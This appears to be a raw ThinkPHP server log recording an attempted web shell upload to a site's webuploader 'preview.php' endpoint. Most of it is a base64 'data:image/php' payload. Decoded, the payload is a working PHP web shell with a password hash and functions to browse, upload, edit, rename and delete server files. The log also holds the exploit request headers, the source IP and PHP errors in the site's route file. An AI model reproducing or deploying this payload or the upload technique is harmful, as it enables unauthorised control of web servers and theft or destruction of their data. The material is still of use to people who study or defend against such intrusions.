zIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:31:06+08:00 ] 119.42.146.234 POST 51tianwei.com/public/lib/webuploader/0.1.15/server/server/preview.php [运行时间:0.002742s] [吞吐率:364.69req/s] [内存消耗:196.72kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'lib', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc